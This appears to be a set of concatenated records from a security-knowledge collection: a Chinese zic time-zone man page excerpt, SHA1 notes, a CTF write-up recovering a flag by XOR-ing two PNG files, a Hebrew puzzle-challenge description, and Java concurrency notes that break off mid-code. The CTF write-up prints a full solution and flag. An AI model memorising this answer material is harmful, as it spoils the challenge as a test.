Sun<=25 一个月的第 25 天以前(含第 25 天)的最后一个星期天
.fi
.in -.5i
.sp
星期的名字是可以缩写或全拼。注意在
.B ON
字段中不能有空格。
.TP
.B "AT "在...(时间)
给出本规则有效的时间。可识别的时间的格式包括:
.nf
.in +.5i
.sp
.ta \w'1:28:13\0\0'u
2 用小时表示的时间
2:00 用小时:分钟表示的时间
15:00 用 24 制小时表示的时间 (表示下午的时间)
1:28:14 用小时:分钟:秒钟表示的时间
.fi
.in -.5i
.sp
这里午夜 0 点是一天开始, 午夜 24 点是一天结束。
对于任何以上格式,如果给定的时间是本地的
.q "墙钟"
时间,可以后跟字母
.B w ;
如果给定的时间是本地的
.q "标准"
时间,可以后跟字母
.B s ;
果给定的时间世界时间,可以后跟字母
.B u
(或
.B g
或
.B z )
如果没写此种指示符,假定是"墙钟"时间。
.TP 8
译注:例如我的"墙钟"时间是北京时间(GMT+8),我的本地标准时间
是 GMT+9(哈尔滨所在的时区的时间)。
.TP
.B "SAVE "补偿
给出当本规则有效时增加到本地标准时间上的时间量。
本字段与
.I AT
字段格式相同(当然,未使用
.B w 和
.B s 后缀)。
.TP
.B "LETTER/S "字母
给出当本规则有效时时区缩写的
.q "可变部分"
(例如,
.q "EST" 中
的
.q "S" 或
.q "EDT" 中的
.q "D" )。如果本字段是
.BR \- ,可变部分是空。
.PP
时区行格式
.sp
.nf
.ti +.5i
.ta \w'Zone\0\0'u +\w'Australia/Adelaide\0\0'u +\w'GMTOFF\0\0'u +\w'RULES/SAVE\0\0'u +\w'FORMAT\0\0'u
Zone NAME GMTOFF RULES/SAVE FORMAT [UNTIL]
.sp
例如:
.sp
.ti +.5i
Zone Australia/Adelaide 9:30 Aus CST 1971 Oct 31 2:00
.sp
.fi
组成规则行的字段是:
.TP "\w'GMTOFF'u"
.B "NAME "名字
时区的名称,被作为为时区而生成的时间转换文件的名字。
.TP
.B "GMTOFF "GMT-偏移量
为得到本时区的标准时间而应加到 UTC 时间上的时间量。
本字段与规则行的
.B AT
和
.B SAVE
有相同的格式;字段值是负值
(即以负号开始)表示要从 UTC 时间上减去的时间量。
.TP
.B "RULES/SAVE "规则/补偿
本时区应用的规则的名字,或者是应加到本地标准时间上的
时间量 。如果本字段是
.B \- ,则本时区总是用标准时间。
.TP
.B "FORMAT "格式
本时区的时区缩写的格式。字符对
.B %s
表示时区缩写的
.q "可变部分"
。另外,/ 符号(斜扛) 分隔标准时和夏令时的缩写。
.TP
.B "UNTIL "直到
是某个位置的 UTC 偏移量或规则改变的时间。它被指定为
某年某月某日某时。如果指定了本字段,直到指定的时间之
后,才会产生从改变了的 UTC 偏移量和规则生成的时区信息。
某年某月某日某时的格式同于规则中的 IN、ON 和 AT 列;
随后的列可以省略,给未写出的列的缺省值是可能的最早的值。
.IP
下一行必须是一个
.q 接续
的行,就是说,除了字符串
.q Zone
和名字省略了之外,与时区行有一样的格式;接续行在上一行
的
.B UNTIL
字段所指定的时间开始后,按本行的 UTC 偏移量或规
则在上一行名字字段指定的文件中生成时区信息。接续行可以
有象时区行一样的
.B UNTIL 字段,用于指示下一行是自己的接续。
.TP 8
译注:上面的这段绕口令的意思是
zome 输出的时区文件名 规则1 规则2生效时间
规则2 规则3生效时间
规则n
.PP
连接行格式
.sp
.nf
.ti +.5i
.ta \w'Link\0\0'u +\w'Europe/Istanbul\0\0'u
Link LINK-FROM LINK-TO
.sp
例如:
.sp
.ti +.5i
Link Europe/Istanbul Asia/Istanbul
.sp
.fi
.B LINK-FROM
字段的值应是在某个时区行的
.B NAME 名字
字段上出现过;
.B LINK-TO
字段是那个时区的可替代的名字。
.PP
除了接续行之外,行可在文件中以任意顺序出现。
.PP
描述闰秒的文件中的行有以下格式:
.nf
.ti +.5i
.ta \w'Leap\0\0'u +\w'YEAR\0\0'u +\w'MONTH\0\0'u +\w'DAY\0\0'u +\w'HH:MM:SS\0\0'u +\w'CORR\0\0'u
.sp
Leap YEAR MONTH DAY HH:MM:SS CORR R/S
.sp
例如:
.ti +.5i
.sp
Leap 1974 Dec 31 23:59:60 + S
.sp
.fi
字段
.B YEAR、
.B MONTH、
.B DAY
和
.B HH:MM:SS
说明什么时侯闰秒出现。
.B CORR
字段在应增加一秒时是
.q + ,在应减少一秒时是
.q - 。
在其他字段给出的闰秒时间应被解释为 UTC 时间的情况下,
.B R/S
字段应是
S
(
.q Stationary
静止一词的缩写);在其他字段给出的闰秒时间应被解释
为本地墙钟时间的情况下,
.B R/S
字段应是 R(
.q Rolling 滚动一词的缩写)。
.SH 注意
对于有多于两种类型的本地时间的地区,你可能需要用最早变更时
间的规则的
.B AT
字段中的本地标准时间,来确保记录在编译的文件
中的最早变更时间是正确的。
.SH 相关文件
/usr/local/etc/zoneinfo 生成的文件所在的标准目录。
.SH 又见
newctime(3), tzfile(5), zdump(8)
.SH [中文版维护人]
.B mhss <jijingzhisheng@up369.com>
.SH [中文版最新更新]
2000/12/05
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
### SHA1基本描述
SHA1的输入输出如下
- 输入:任意长的消息,分为 **512 比特**长的分组。首先在消息右侧补比特 1,然后再补若干个比特 0,直到消息的比特长度满足对 512 取模后余数是 448,使其与 448 模 512 同余。
- 输出:160 比特的消息摘要。
关于详细的介绍,请自行搜索。
一般来说,我们可以通过函数的初始化来判断是不是 SHA1 函数。一般来说,如果一个函数有如下五个初始化的变量,可以猜测该函数为 SHA1 函数,因为这是 SHA1 函数的初始化IV。
```
0x67452301
0xEFCDAB89
0x98BADCFE
0x10325476
0xC3D2E1F0
```
前面四个与 MD5 类似,后面的是新加的。
### SHA1破解
就目前而言,SHA1 已经不再安全了,因为之前谷歌公布了求得两个 sha1 值一样的 pdf,具体请参考 [shattered](https://shattered.io/) 。
这里还有一个比较有意思的网站:https://alf.nu/SHA1。
|
sec-knowleage
|
# Water Turned to Blood
## Description
> > “Thus says the Lord, ‘By this you shall know that I am the Lord: behold, I will strike the water that is in the Nile with the staff that is in my hand, and it will be turned to blood. The fish that are in the Nile will die, and the Nile will become foul, and the Egyptians will find difficulty in drinking water from the Nile’” (Exodus 7:17-18).
> Once the waters turned to blood, our talented Israeli photographer decided to capture it, twice. Note the exclusive differences you see, or do not.
Two PNG files were available for download.
## Solution
Visually, both images display the same picture, but we can see that they are not binary identical:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Water_turned_to blood]
└─$ diff 1.png 2.png
Binary files 1.png and 2.png differ
```
The difference itself is located at the very end of the files:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Water_turned_to blood]
└─$ diff <(xxd -g 1 1.png) <(xxd -g 1 2.png)
86871,86873c86871,86873
< 00153560: 92 24 49 92 24 49 92 24 e9 ba f7 ff 01 57 e7 7d .$I.$I.$.....W.}
< 00153570: 3b 77 9a 1f 77 00 00 00 00 49 45 4e 44 ae 42 60 ;w..w....IEND.B`
< 00153580: 82 .
---
> 00153560: 92 24 49 92 24 49 92 24 e9 ba f7 ff 01 15 b4 30 .$I.$I.$.......0
> 00153570: 78 3f e1 56 28 4c 4f 56 45 16 0d 0f 09 eb 16 3a x?.V(LOVE......:
> 00153580: ff
```
We can see that the last `20` bytes are different. It's also pretty noticeable that
the sequence of four consecutive `0x00` bytes in `1.png` became `LOVE` in `2.png`.
This might mean that the last 20 bytes were "encrypted" with a simple XOR cipher, and that the key at that location was `LOVE`. Let's try to XOR both buffers together to recover the full key:
```python
>>> import pwn
>>> with open("1.png", "rb") as f1, open("2.png", "rb") as f2:
... data1 = f1.read()
... data2 = f2.read()
... print(pwn.xor(data1[-20:], data2[-20:]).decode())
BSMCH{I_LOVE_HAMETZ}
```
|
sec-knowleage
|
# אתגר חושן - חגי תשרי תשפ"א
<div dir="rtl">
<p>
פתרון חידת חושן - חגי תשרי תשפ"א.
</p>
<p>
החידה התפרסמה ב<a href="https://www.idf.il/118263/">קישור הזה</a> וכללה את הקווים המנחים הבאים:
</p>
<ul>
<li>בשלב הראשון, תצטרכו לפענח את <a href="https://youtu.be/KdBf-wvEaCM">הסרטון הבא</a>, ולהגיע דרכו לאתר שמכיל תמונה.</li>
<li>בשלב השני, יש לקחת את התמונה - ולגלות מה מסתתר "מאחורי הקלעים" שלה, בעזרת כלים ואמצעים מוכרים בקרב אנשי המקצוע. </li>
<li>כשתפענחו זאת, תגיעו לשלב הבא, בו תצטרכו לגלות את הסיסמה - המאפשרת גישה לשלב הסופי.
<br/>
ונוסיף לכם רמז קטן ממחברי החידה: "אין צורך להמציא מחדש את הגלגל - אלא לעבוד בצורה חכמה".
<li>בשלב הרביעי והאחרון, לאחר מציאת הסיסמה, תיתקלו בתמונה, אשר ניתוח מעמיק שלה יהווה את הפתרון לחידה, שיכיל את הצירוף flag{}.</li>
</ul>
</div>
|
sec-knowleage
|
# Java 并发
<!-- GFM-TOC -->
* [Java 并发](#java-并发)
* [一、使用线程](#一使用线程)
* [实现 Runnable 接口](#实现-runnable-接口)
* [实现 Callable 接口](#实现-callable-接口)
* [继承 Thread 类](#继承-thread-类)
* [实现接口 VS 继承 Thread](#实现接口-vs-继承-thread)
* [二、基础线程机制](#二基础线程机制)
* [Executor](#executor)
* [Daemon](#daemon)
* [sleep()](#sleep)
* [yield()](#yield)
* [三、中断](#三中断)
* [InterruptedException](#interruptedexception)
* [interrupted()](#interrupted)
* [Executor 的中断操作](#executor-的中断操作)
* [四、互斥同步](#四互斥同步)
* [synchronized](#synchronized)
* [ReentrantLock](#reentrantlock)
* [比较](#比较)
* [使用选择](#使用选择)
* [五、线程之间的协作](#五线程之间的协作)
* [join()](#join)
* [wait() notify() notifyAll()](#wait-notify-notifyall)
* [await() signal() signalAll()](#await-signal-signalall)
* [六、线程状态](#六线程状态)
* [新建(NEW)](#新建new)
* [可运行(RUNABLE)](#可运行runable)
* [阻塞(BLOCKED)](#阻塞blocked)
* [无限期等待(WAITING)](#无限期等待waiting)
* [限期等待(TIMED_WAITING)](#限期等待timed_waiting)
* [死亡(TERMINATED)](#死亡terminated)
* [七、J.U.C - AQS](#七juc---aqs)
* [CountDownLatch](#countdownlatch)
* [CyclicBarrier](#cyclicbarrier)
* [Semaphore](#semaphore)
* [八、J.U.C - 其它组件](#八juc---其它组件)
* [FutureTask](#futuretask)
* [BlockingQueue](#blockingqueue)
* [ForkJoin](#forkjoin)
* [九、线程不安全示例](#九线程不安全示例)
* [十、Java 内存模型](#十java-内存模型)
* [主内存与工作内存](#主内存与工作内存)
* [内存间交互操作](#内存间交互操作)
* [内存模型三大特性](#内存模型三大特性)
* [先行发生原则](#先行发生原则)
* [十一、线程安全](#十一线程安全)
* [不可变](#不可变)
* [互斥同步](#互斥同步)
* [非阻塞同步](#非阻塞同步)
* [无同步方案](#无同步方案)
* [十二、锁优化](#十二锁优化)
* [自旋锁](#自旋锁)
* [锁消除](#锁消除)
* [锁粗化](#锁粗化)
* [轻量级锁](#轻量级锁)
* [偏向锁](#偏向锁)
* [十三、多线程开发良好的实践](#十三多线程开发良好的实践)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、使用线程
有三种使用线程的方法:
- 实现 Runnable 接口;
- 实现 Callable 接口;
- 继承 Thread 类。
实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务,不是真正意义上的线程,因此最后还需要通过 Thread 来调用。可以理解为任务是通过线程驱动从而执行的。
### 实现 Runnable 接口
需要实现接口中的 run() 方法。
```java
public class MyRunnable implements Runnable {
@Override
public void run() {
// ...
}
}
```
使用 Runnable 实例再创建一个 Thread 实例,然后调用 Thread 实例的 start() 方法来启动线程。
```java
public static void main(String[] args) {
MyRunnable instance = new MyRunnable();
Thread thread = new Thread(instance);
thread.start();
}
```
### 实现 Callable 接口
与 Runnable 相比,Callable 可以有返回值,返回值通过 FutureTask 进行封装。
```java
public class MyCallable implements Callable<Integer> {
public Integer call() {
return 123;
}
}
```
```java
public static void main(String[] args) throws ExecutionException, InterruptedException {
MyCallable mc = new MyCallable();
FutureTask<Integer> ft = new FutureTask<>(mc);
Thread thread = new Thread(ft);
thread.start();
System.out.println(ft.get());
}
```
### 继承 Thread 类
同样也是需要实现 run() 方法,因为 Thread 类也实现了 Runable 接口。
当调用 start() 方法启动一个线程时,虚拟机会将该线程放入就绪队列中等待被调度,当一个线程被调度时会执行该线程的 run() 方法。
```java
public class MyThread extends Thread {
public void run() {
// ...
}
}
```
```java
public static void main(String[] args) {
MyThread mt = new MyThread();
mt.start();
}
```
### 实现接口 VS 继承 Thread
实现接口会更好一些,因为:
- Java 不支持多重继承,因此继承了 Thread 类就无法继承其它类,但是可以实现多个接口;
- 类可能只要求可执行就行,继承整个 Thread 类开销过大。
## 二、基础线程机制
### Executor
Executor 管理多个异步任务的执行,而无需程序员显式地管理线程的生命周期。这里的异步是指多个任务的执行互不干扰,不需要进行同步操作。
主要有三种 Executor:
- CachedThreadPool:一个任务创建一个线程;
- FixedThreadPool:所有任务只能使用固定大小的线程;
- SingleThreadExecutor:相当于大小为 1 的 FixedThreadPool。
```java
public static void main(String[] args) {
ExecutorService executorService = Executors.newCachedThreadPool();
for (int i = 0; i < 5; i++) {
executorService.execute(new MyRunnable());
}
executorService.shutdown();
}
```
### Daemon
守护线程是程序运行时在后台提供服务的线程,不属于程序中不可或缺的部分。
当所有非守护线程结束时,程序也就终止,同时会杀死所有守护线程。
main() 属于非守护线程。
在线程启动之前使用 setDaemon() 方法可以将一个线程设置为守护线程。
```java
public static void main(String[] args) {
Thread thread = new Thread(new MyRunnable());
thread.setDaemon(true);
}
```
### sleep()
Thread.sleep(millisec) 方法会休眠当前正在执行的线程,millisec 单位为毫秒。
sleep() 可能会抛出 InterruptedException,因为异常不能跨线程传播回 main() 中,因此必须在本地进行处理。线程中抛出的其它异常也同样需要在本地进行处理。
```java
public void run() {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
```
### yield()
对静态方法 Thread.yield() 的调用声明了当前线程已经完成了生命周期中最重要的部分,可以切换给其它线程来执行。该方法只是对线程调度器的一个建议,而且也只是建议具有相同优先级的其它线程可以运行。
```java
public void run() {
Thread.yield();
}
```
## 三、中断
一个线程执行完毕之后会自动结束,如果在运行过程中发生异常也会提前结束。
### InterruptedException
通过调用一个线程的 interrupt() 来中断该线程,如果该线程处于阻塞、限期等待或者无限期等待状态,那么就会抛出 InterruptedException,从而提前结束该线程。但是不能中断 I/O 阻塞和 synchronized 锁阻塞。
对于以下代码,在 main() 中启动一个线程之后再中断它,由于线程中调用了 Thread.sleep() 方法,因此会抛出一个 InterruptedException,从而提前结束线程,不执行之后的语句。
```java
public class InterruptExample {
private static class MyThread1 extends Thread {
@Override
public void run() {
try {
Thread.sleep(2000);
System.out.println("Thread run");
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
```
```java
public static void main(String[] args) throws InterruptedException {
Thread thread1 = new MyThread1();
thread1.start();
thread1.interrupt();
System.out.println("Main run");
}
```
```html
Main run
java.lang.InterruptedException: sleep interrupted
at java.lang.Thread.sleep(Native Method)
at InterruptExample.lambda$main$0(InterruptExample.java:5)
at InterruptExample$$Lambda$1/713338599.run(Unknown Source)
at java.lang.Thread.run(Thread.java:745)
```
### interrupted()
如果一个线程的 run() 方法执行一个无限循环,并且没有执行 sleep() 等会抛出 InterruptedException 的操作,那么调用线程的 interrupt() 方法就无法使线程提前结束。
但是调用 interrupt() 方法会设置线程的中断标记,此时调用 interrupted() 方法会返回 true。因此可以在循环体中使用 interrupted() 方法来判断线程是否处于中断状态,从而提前结束线程。
```java
public class InterruptExample {
private static class MyThread2 extends Thread {
@Override
public void run() {
while (!interrupted()) {
// ..
}
System.out.println("Thread end");
}
}
}
```
```java
public static void main(String[] args) throws InterruptedException {
Thread thread2 = new MyThread2();
thread2.start();
thread2.interrupt();
}
```
```html
Thread end
```
### Executor 的中断操作
调用 Executor 的 shutdown() 方法会等待线程都执行完毕之后再关闭,但是如果调用的是 shutdownNow() 方法,则相当于调用每个线程的 interrupt() 方法。
以下使用 Lambda 创建线程,相当于创建了一个匿名内部线程。
```java
public static void main(String[] args) {
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(() -> {
try {
Thread.sleep(2000);
System.out.println("Thread run");
} catch (InterruptedException e) {
e.printStackTrace();
}
});
executorService.shutdownNow();
System.out.println("Main run");
}
```
```html
Main run
java.lang.InterruptedException: sleep interrupted
at java.lang.Thread.sleep(Native Method)
at ExecutorInterruptExample.lambda$main$0(ExecutorInterruptExample.java:9)
at ExecutorInterruptExample$$Lambda$1/1160460865.run(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
```
如果只想中断 Executor 中的一个线程,可以通过使用 submit() 方法来提交一个线程,它会返回一个 Future\<?\> 对象,通过调用该对象的 cancel(true) 方法就可以中断线程。
```java
Future<?> future = executorService.submit(() -> {
// ..
});
future.cancel(true);
```
## 四、互斥同步
Java 提供了两种锁机制来控制多个线程对共享资源的互斥访问,第一个是 JVM 实现的 synchronized,而另一个是 JDK 实现的 ReentrantLock。
### synchronized
**1. 同步一个代码块**
```java
public void func() {
synchronized (this) {
// ...
}
}
```
它只作用于同一个对象,如果调用两个对象上的同步代码块,就不会进行同步。
对于以下代码,使用 ExecutorService 执行了两个线程,由于调用的是同一个对象的同步代码块,因此这两个线程会进行同步,当一个线程进入同步语句块时,另一个线程就必须等待。
```java
public class SynchronizedExample {
public void func1() {
synchronized (this) {
for (int i = 0; i < 10; i++) {
System.out.print(i + " ");
}
}
}
}
```
```java
public static void main(String[] args) {
SynchronizedExample e1 = new SynchronizedExample();
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(() -> e1.func1());
executorService.execute(() -> e1.func1());
}
```
```html
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
```
对于以下代码,两个线程调用了不同对象的同步代码块,因此这两个线程就不需要同步。从输出结果可以看出,两个线程交叉执行。
```java
public static void main(String[] args) {
SynchronizedExample e1 = new SynchronizedExample();
SynchronizedExample e2 = new SynchronizedExample();
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(() -> e1.func1());
executorService.execute(() -> e2.func1());
}
```
```html
0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9
```
**2. 同步一个方法**
```java
public synchronized void func () {
// ...
}
```
它和同步代码块一样,作用于同一个对象。
**3. 同步一个类**
```java
public void func() {
synchronized (SynchronizedExample.class) {
// ...
}
}
```
作用于整个类,也就是说两个线程调用同一个类的不同对象上的这种同步语句,也会进行同步。
```java
public class SynchronizedExample {
public void func2() {
synchronized (SynchronizedExample.class) {
for (int i = 0; i < 10; i++) {
System.out.print(i + " ");
}
}
}
}
```
```java
public static void main(String[] args) {
SynchronizedExample e1 = new SynchronizedExample();
SynchronizedExample e2 = new SynchronizedExample();
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(() -> e1.func2());
executorService.execute(() -> e2.func2());
}
```
```html
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
```
**4. 同步一个静态方法**
```java
public synchronized static void fun() {
// ...
}
```
作用于整个类。
### ReentrantLock
ReentrantLock 是 java.util.concurrent(J.U.C)包中的锁。
```java
public class LockExample {
private Lock lock = new ReentrantLock();
public void func() {
lock.lock();
try {
for (int i = 0; i < 10; i++) {
System.out.print(i + " ");
}
} finally {
lock.unlock(); // 确保释放锁,从而避免发生死锁。
}
}
}
```
```java
public static void main(String[] args) {
LockExample lockExample = new LockExample();
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(() -> lockExample.func());
executorService.execute(() -> lockExample.func());
}
```
```html
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
```
### 比较
**1. 锁的实现**
synchronized 是 JVM 实现的,而 ReentrantLock 是 JDK 实现的。
**2. 性能**
新版本 Java 对 synchronized 进行了很多优化,例如自旋锁等,synchronized 与 ReentrantLock 大致相同。
**3. 等待可中断**
当持有锁的线程长期不释放锁的时候,正在等待的线程可以选择放弃等待,改为处理其他事情。
ReentrantLock 可中断,而 synchronized 不行。
**4. 公平锁**
公平锁是指多个线程在等待同一个锁时,必须按照申请锁的时间顺序来依次获得锁。
synchronized 中的锁是非公平的,ReentrantLock 默认情况下也是非公平的,但是也可以是公平的。
**5. 锁绑定多个条件**
一个 ReentrantLock 可以同时绑定多个 Condition 对象。
### 使用选择
除非需要使用 ReentrantLock 的高级功能,否则优先使用 synchronized。这是因为 synchronized 是 JVM 实现的一种锁机制,JVM 原生地支持它,而 ReentrantLock 不是所有的 JDK 版本都支持。并且使用 synchronized 不用担心没有释放锁而导致死锁问题,因为 JVM 会确保锁的释放。
## 五、线程之间的协作
当多个线程可以一起工作去解决某个问题时,如果某些部分必须在其它部分之前完成,那么就需要对线程进行协调。
### join()
在线程中调用另一个线程的 join() 方法,会将当前线程挂起,而不是忙等待,直到目标线程结束。
对于以下代码,虽然 b 线程先启动,但是因为在 b 线程中调用了 a 线程的 join() 方法,b 线程会等待 a 线程结束才继续执行,因此最后能够保证 a 线程的输出先于 b 线程的输出。
```java
public class JoinExample {
private class A extends Thread {
@Override
public void run() {
System.out.println("A");
}
}
private class B extends Thread {
private A a;
B(A a) {
this.a = a;
}
@Override
public void run() {
try {
a.join();
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("B");
}
}
public void test() {
A a = new A();
B b = new B(a);
b.start();
a.start();
}
}
```
```java
public static void main(String[] args) {
JoinExample example = new JoinExample();
example.test();
}
```
```
A
B
```
### wait() notify() notifyAll()
调用 wait() 使得线程等待某个条件满足,线程在等待时会被挂起,当其他线程的运行使得这个条件满足时,其它线程会调用 notify() 或者 notifyAll() 来唤醒挂起的线程。
它们都属于 Object 的一部分,而不属于 Thread。
只能用在同步方法或者同步控制块中使用,否则会在运行时抛出 IllegalMonitorStateException。
使用 wait() 挂起期间,线程会释放锁。这是因为,如果没有释放锁,那么其它线程就无法进入对象的同步方法或者同步控制块中,那么就无法执行 notify() 或者 notifyAll() 来唤醒挂起的线程,造成死锁。
```java
public class WaitNotifyExample {
public synchronized void before() {
System.out.println("before");
notifyAll();
}
public synchronized void after() {
try {
wait();
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("after");
}
}
```
```java
public static void main(String[] args) {
ExecutorService executorService = Executors.newCachedThreadPool();
WaitNotifyExample example = new WaitNotifyExample();
executorService.execute(() -> example.after());
executorService.execute(() -> example.before());
}
```
```html
before
after
```
**wait() 和 sleep() 的区别**
- wait() 是 Object 的方法,而 sleep() 是 Thread 的静态方法;
- wait() 会释放锁,sleep() 不会。
### await() signal() signalAll()
java.util.concurrent 类库中提供了 Condition 类来实现线程之间的协调,可以在 Condition 上调用 await() 方法使线程等待,其它线程调用 signal() 或 signalAll() 方法唤醒等待的线程。
相比于 wait() 这种等待方式,await() 可以指定等待的条件,因此更加灵活。
使用 Lock 来获取一个 Condition 对象。
```java
public class AwaitSignalExample {
private Lock lock = new ReentrantLock();
private Condition condition = lock.newCondition();
public void before() {
lock.lock();
try {
System.out.println("before");
condition.signalAll();
} finally {
lock.unlock();
}
}
public void after() {
lock.lock();
try {
condition.await();
System.out.println("after");
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
lock.unlock();
}
}
}
```
```java
public static void main(String[] args) {
ExecutorService executorService = Executors.newCachedThreadPool();
AwaitSignalExample example = new AwaitSignalExample();
executorService.execute(() -> example.after());
executorService.execute(() -> example.before());
}
```
```html
before
after
```
## 六、线程状态
一个线程只能处于一种状态,并且这里的线程状态特指 Java 虚拟机的线程状态,不能反映线程在特定操作系统下的状态。
### 新建(NEW)
创建后尚未启动。
### 可运行(RUNABLE)
正在 Java 虚拟机中运行。但是在操作系统层面,它可能处于运行状态,也可能等待资源调度(例如处理器资源),资源调度完成就进入运行状态。所以该状态的可运行是指可以被运行,具体有没有运行要看底层操作系统的资源调度。
### 阻塞(BLOCKED)
请求获取 monitor lock 从而进入 synchronized 函数或者代码块,但是其它线程已经占用了该 monitor lock,所以出于阻塞状态。要结束该状态进入从而 RUNABLE 需要其他线程释放 monitor lock。
### 无限期等待(WAITING)
等待其它线程显式地唤醒。
阻塞和等待的区别在于,阻塞是被动的,它是在等待获取 monitor lock。而等待是主动的,通过调用 Object.wait() 等方法进入。
| 进入方法 | 退出方法 |
| --- | --- |
| 没有设置 Timeout 参数的 Object.wait() 方法 | Object.notify() / Object.notifyAll() |
| 没有设置 Timeout 参数的 Thread.join() 方法 | 被调用的线程执行完毕 |
| LockSupport.park() 方法 | LockSupport.unpark(Thread) |
### 限期等待(TIMED_WAITING)
无需等待其它线程显式地唤醒,在一定时间之后会被系统自动唤醒。
| 进入方法 | 退出方法 |
| --- | --- |
| Thread.sleep() 方法 | 时间结束 |
| 设置了 Timeout 参数的 Object.wait() 方法 | 时间结束 / Object.notify() / Object.notifyAll() |
| 设置了 Timeout 参数的 Thread.join() 方法 | 时间结束 / 被调用的线程执行完毕 |
| LockSupport.parkNanos() 方法 | LockSupport.unpark(Thread) |
| LockSupport.parkUntil() 方法 | LockSupport.unpark(Thread) |
调用 Thread.sleep() 方法使线程进入限期等待状态时,常常用“使一个线程睡眠”进行描述。调用 Object.wait() 方法使线程进入限期等待或者无限期等待时,常常用“挂起一个线程”进行描述。睡眠和挂起是用来描述行为,而阻塞和等待用来描述状态。
### 死亡(TERMINATED)
可以是线程结束任务之后自己结束,或者产生了异常而结束。
[Java SE 9 Enum Thread.State](https://docs.oracle.com/javase/9/docs/api/java/lang/Thread.State.html)
## 七、J.U.C - AQS
java.util.concurrent(J.U.C)大大提高了并发性能,AQS 被认为是 J.U.C 的核心。
### CountDownLatch
用来控制一个或者多个线程等待多个线程。
维护了一个计数器 cnt,每次调用 countDown() 方法会让计数器的值减 1,减到 0 的时候,那些因为调用 await() 方法而在等待的线程就会被唤醒。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ba078291-791e-4378-b6d1-ece76c2f0b14.png" width="300px"> </div><br>
```java
public class CountdownLatchExample {
public static void main(String[] args) throws InterruptedException {
final int totalThread = 10;
CountDownLatch countDownLatch = new CountDownLatch(totalThread);
ExecutorService executorService = Executors.newCachedThreadPool();
for (int i = 0; i < totalThread; i++) {
executorService.execute(() -> {
System.out.print("run..");
countDownLatch.countDown();
});
}
countDownLatch.await();
System.out.println("end");
executorService.shutdown();
}
}
```
```html
run..run..run..run..run..run..run..run..run..run..end
```
### CyclicBarrier
用来控制多个线程互相等待,只有当多个线程都到达时,这些线程才会继续执行。
和 CountdownLatch 相似,都是通过维护计数器来实现的。线程执行 await() 方法之后计数器会减 1,并进行等待,直到计数器为 0,所有调用 await() 方法而在等待的线程才能继续执行。
CyclicBarrier 和 CountdownLatch 的一个区别是,CyclicBarrier 的计数器通过调用 reset() 方法可以循环使用,所以它才叫做循环屏障。
CyclicBarrier 有两个构造函数,其中 parties 指示计数器的初始值,barrierAction 在所有线程都到达屏障的时候会执行一次。
```java
public CyclicBarrier(int parties, Runnable barrierAction) {
if (parties <= 0) throw new IllegalArgumentException();
this.parties = parties;
this.count = parties;
this.barrierCommand = barrierAction;
}
public CyclicBarrier(int parties) {
this(parties, null);
}
```
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f71af66b-0d54-4399-a44b-f47b58321984.png" width="300px"> </div><br>
```java
public class CyclicBarrierExample {
public static void main(String[] args) {
final int totalThread = 10;
CyclicBarrier cyclicBarrier = new CyclicBarrier(totalThread);
ExecutorService executorService = Executors.newCachedThreadPool();
for (int i = 0; i < totalThread; i++) {
executorService.execute(() -> {
System.out.print("before..");
try {
cyclicBarrier.await();
} catch (InterruptedException | BrokenBarrierException e) {
e.printStackTrace();
}
System.out.print("after..");
});
}
executorService.shutdown();
}
}
```
```html
before..before..before..before..before..before..before..before..before..before..after..after..after..after..after..after..after..after..after..after..
```
### Semaphore
Semaphore 类似于操作系统中的信号量,可以控制对互斥资源的访问线程数。
以下代码模拟了对某个服务的并发请求,每次只能有 3 个客户端同时访问,请求总数为 10。
```java
public class SemaphoreExample {
public static void main(String[] args) {
final int clientCount = 3;
final int totalRequestCount = 10;
Semaphore semaphore = new Semaphore(clientCount);
ExecutorService executorService = Executors.newCachedThreadPool();
for (int i = 0; i < totalRequestCount; i++) {
executorService.execute(()->{
try {
semaphore.acquire();
System.out.print(semaphore.availablePermits() + " ");
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
semaphore.release();
}
});
}
executorService.shutdown();
}
}
```
```html
2 1 2 2 2 2 2 1 2 2
```
## 八、J.U.C - 其它组件
### FutureTask
在介绍 Callable 时我们知道它可以有返回值,返回值通过 Future\<V\> 进行封装。FutureTask 实现了 RunnableFuture 接口,该接口继承自 Runnable 和 Future\<V\> 接口,这使得 FutureTask 既可以当做一个任务执行,也可以有返回值。
```java
public class FutureTask<V> implements RunnableFuture<V>
```
```java
public interface RunnableFuture<V> extends Runnable, Future<V>
```
FutureTask 可用于异步获取执行结果或取消执行任务的场景。当一个计算任务需要执行很长时间,那么就可以用 FutureTask 来封装这个任务,主线程在完成自己的任务之后再去获取结果。
```java
public class FutureTaskExample {
public static void main(String[] args) throws ExecutionException, InterruptedException {
FutureTask<Integer> futureTask = new FutureTask<Integer>(new Callable<Integer>() {
@Override
public Integer call() throws Exception {
int result = 0;
for (int i = 0; i < 100; i++) {
Thread.sleep(10);
result += i;
}
return result;
}
});
Thread computeThread = new Thread(futureTask);
computeThread.start();
Thread otherThread = new Thread(() -> {
